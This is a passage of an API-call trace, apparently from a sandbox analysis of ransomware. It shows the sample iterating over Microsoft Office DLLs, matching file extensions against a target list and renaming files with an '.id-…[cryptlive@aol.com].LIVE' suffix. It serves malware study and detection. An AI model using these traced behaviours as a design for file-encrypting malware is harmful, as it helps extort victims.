[0154.936] lstrlenW (lpString=".pdf") returned 4 [0154.936] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString=".xls") returned 4 [0154.937] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString=".xlsx") returned 5 [0154.937] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0154.937] lstrlenW (lpString=".ppt") returned 4 [0154.937] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString=".zip") returned 4 [0154.937] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString=".rar") returned 4 [0154.937] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString=".bz2") returned 4 [0154.937] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0154.937] lstrlenW (lpString=".7z") returned 3 [0154.937] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString=".dbf") returned 4 [0154.937] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString=".1cd") returned 4 [0154.937] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString=".jpg") returned 4 [0154.937] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.937] lstrlenW (lpString=".doc") returned 4 [0154.937] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0154.937] lstrlenW (lpString=".docx") returned 5 [0154.937] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0154.937] lstrlenW (lpString=".pdf") returned 4 [0154.937] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0154.937] lstrlenW (lpString=".xls") returned 4 [0154.937] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0154.938] lstrlenW (lpString=".xlsx") returned 5 [0154.938] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0154.938] lstrlenW (lpString=".ppt") returned 4 [0154.938] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0154.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.938] lstrlenW (lpString=".zip") returned 4 [0154.938] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0154.938] lstrlenW (lpString=".rar") returned 4 [0154.938] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0154.938] lstrlenW (lpString=".bz2") returned 4 [0154.938] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0154.938] lstrlenW (lpString=".7z") returned 3 [0154.938] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0154.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.938] lstrlenW (lpString=".dbf") returned 4 [0154.938] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0154.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.938] lstrlenW (lpString=".1cd") returned 4 [0154.938] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0154.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55 [0154.938] lstrlenW (lpString=".jpg") returned 4 [0154.938] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0154.938] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0154.938] lstrlenW (lpString="excelcnvpxy.dll") returned 15 [0154.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.940] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=48480) returned 1 [0154.940] CloseHandle (hObject=0x1b0) returned 1 [0154.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll")) returned 0x20 [0154.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnvpxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.940] lstrlenW (lpString=".doc") returned 4 [0154.940] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.940] lstrlenW (lpString=".docx") returned 5 [0154.940] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0154.940] lstrlenW (lpString=".pdf") returned 4 [0154.940] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.940] lstrlenW (lpString=".xls") returned 4 [0154.940] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.940] lstrlenW (lpString=".xlsx") returned 5 [0154.940] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0154.940] lstrlenW (lpString=".ppt") returned 4 [0154.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.940] lstrlenW (lpString=".zip") returned 4 [0154.941] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".rar") returned 4 [0154.941] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".bz2") returned 4 [0154.941] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.941] lstrlenW (lpString=".7z") returned 3 [0154.941] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString=".dbf") returned 4 [0154.941] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString=".1cd") returned 4 [0154.941] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString=".jpg") returned 4 [0154.941] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString=".doc") returned 4 [0154.941] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".docx") returned 5 [0154.941] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0154.941] lstrlenW (lpString=".pdf") returned 4 [0154.941] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".xls") returned 4 [0154.941] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".xlsx") returned 5 [0154.941] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0154.941] lstrlenW (lpString=".ppt") returned 4 [0154.941] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.941] lstrlenW (lpString=".zip") returned 4 [0154.941] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".rar") returned 4 [0154.941] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.941] lstrlenW (lpString=".bz2") returned 4 [0154.941] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.942] lstrlenW (lpString=".7z") returned 3 [0154.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.942] lstrlenW (lpString=".dbf") returned 4 [0154.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.942] lstrlenW (lpString=".1cd") returned 4 [0154.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnvpxy.dll") returned 58 [0154.942] lstrlenW (lpString=".jpg") returned 4 [0154.942] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.942] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.942] lstrlenW (lpString="EXSEC32.DLL") returned 11 [0154.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.943] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=474960) returned 1 [0154.943] CloseHandle (hObject=0x1b0) returned 1 [0154.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll")) returned 0x20 [0154.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.943] lstrlenW (lpString=".doc") returned 4 [0154.943] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.943] lstrlenW (lpString=".docx") returned 5 [0154.943] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.943] lstrlenW (lpString=".pdf") returned 4 [0154.943] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.943] lstrlenW (lpString=".xls") returned 4 [0154.943] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.943] lstrlenW (lpString=".xlsx") returned 5 [0154.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.943] lstrlenW (lpString=".ppt") returned 4 [0154.943] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.943] lstrlenW (lpString=".zip") returned 4 [0154.944] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".rar") returned 4 [0154.944] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".bz2") returned 4 [0154.944] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.944] lstrlenW (lpString=".7z") returned 3 [0154.944] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString=".dbf") returned 4 [0154.944] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString=".1cd") returned 4 [0154.944] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString=".jpg") returned 4 [0154.944] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString=".doc") returned 4 [0154.944] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".docx") returned 5 [0154.944] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.944] lstrlenW (lpString=".pdf") returned 4 [0154.944] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".xls") returned 4 [0154.944] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".xlsx") returned 5 [0154.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.944] lstrlenW (lpString=".ppt") returned 4 [0154.944] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.944] lstrlenW (lpString=".zip") returned 4 [0154.944] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".rar") returned 4 [0154.944] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.944] lstrlenW (lpString=".bz2") returned 4 [0154.944] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.945] lstrlenW (lpString=".7z") returned 3 [0154.945] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.945] lstrlenW (lpString=".dbf") returned 4 [0154.945] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.945] lstrlenW (lpString=".1cd") returned 4 [0154.945] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0154.945] lstrlenW (lpString=".jpg") returned 4 [0154.945] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.945] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.945] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0154.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.946] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=340904) returned 1 [0154.946] CloseHandle (hObject=0x1b0) returned 1 [0154.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll")) returned 0x20 [0154.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.947] lstrlenW (lpString=".doc") returned 4 [0154.947] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".docx") returned 5 [0154.948] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0154.948] lstrlenW (lpString=".pdf") returned 4 [0154.948] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".xls") returned 4 [0154.948] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".xlsx") returned 5 [0154.948] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0154.948] lstrlenW (lpString=".ppt") returned 4 [0154.948] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString=".zip") returned 4 [0154.948] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".rar") returned 4 [0154.948] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".bz2") returned 4 [0154.948] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.948] lstrlenW (lpString=".7z") returned 3 [0154.948] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString=".dbf") returned 4 [0154.948] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString=".1cd") returned 4 [0154.948] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString=".jpg") returned 4 [0154.948] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.948] lstrlenW (lpString=".doc") returned 4 [0154.948] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".docx") returned 5 [0154.948] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0154.948] lstrlenW (lpString=".pdf") returned 4 [0154.948] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.948] lstrlenW (lpString=".xls") returned 4 [0154.949] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.949] lstrlenW (lpString=".xlsx") returned 5 [0154.949] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0154.949] lstrlenW (lpString=".ppt") returned 4 [0154.949] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.949] lstrlenW (lpString=".zip") returned 4 [0154.949] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.949] lstrlenW (lpString=".rar") returned 4 [0154.949] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.949] lstrlenW (lpString=".bz2") returned 4 [0154.949] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.949] lstrlenW (lpString=".7z") returned 3 [0154.949] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.949] lstrlenW (lpString=".dbf") returned 4 [0154.949] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.949] lstrlenW (lpString=".1cd") returned 4 [0154.949] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0154.949] lstrlenW (lpString=".jpg") returned 4 [0154.949] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.949] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.949] lstrlenW (lpString="FACILITY.DLL") returned 12 [0154.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0154.951] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1621864) returned 1 [0154.951] CloseHandle (hObject=0x1b0) returned 1 [0154.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll")) returned 0x20 [0154.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString=".doc") returned 4 [0154.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString=".docx") returned 5 [0154.952] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0154.952] lstrlenW (lpString=".pdf") returned 4 [0154.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString=".xls") returned 4 [0154.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString=".xlsx") returned 5 [0154.952] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0154.952] lstrlenW (lpString=".ppt") returned 4 [0154.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString=".zip") returned 4 [0154.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString=".rar") returned 4 [0154.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.952] lstrlenW (lpString=".bz2") returned 4 [0154.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.952] lstrlenW (lpString=".7z") returned 3 [0154.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString=".dbf") returned 4 [0154.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString=".1cd") returned 4 [0154.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.952] lstrlenW (lpString=".jpg") returned 4 [0154.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString=".doc") returned 4 [0154.953] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString=".docx") returned 5 [0154.953] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0154.953] lstrlenW (lpString=".pdf") returned 4 [0154.953] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString=".xls") returned 4 [0154.953] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString=".xlsx") returned 5 [0154.953] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0154.953] lstrlenW (lpString=".ppt") returned 4 [0154.953] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString=".zip") returned 4 [0154.953] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString=".rar") returned 4 [0154.953] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.953] lstrlenW (lpString=".bz2") returned 4 [0154.953] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.953] lstrlenW (lpString=".7z") returned 3 [0154.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString=".dbf") returned 4 [0154.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString=".1cd") returned 4 [0154.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0154.953] lstrlenW (lpString=".jpg") returned 4 [0154.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.954] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.954] lstrlenW (lpString="FORM.DLL") returned 8 [0154.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 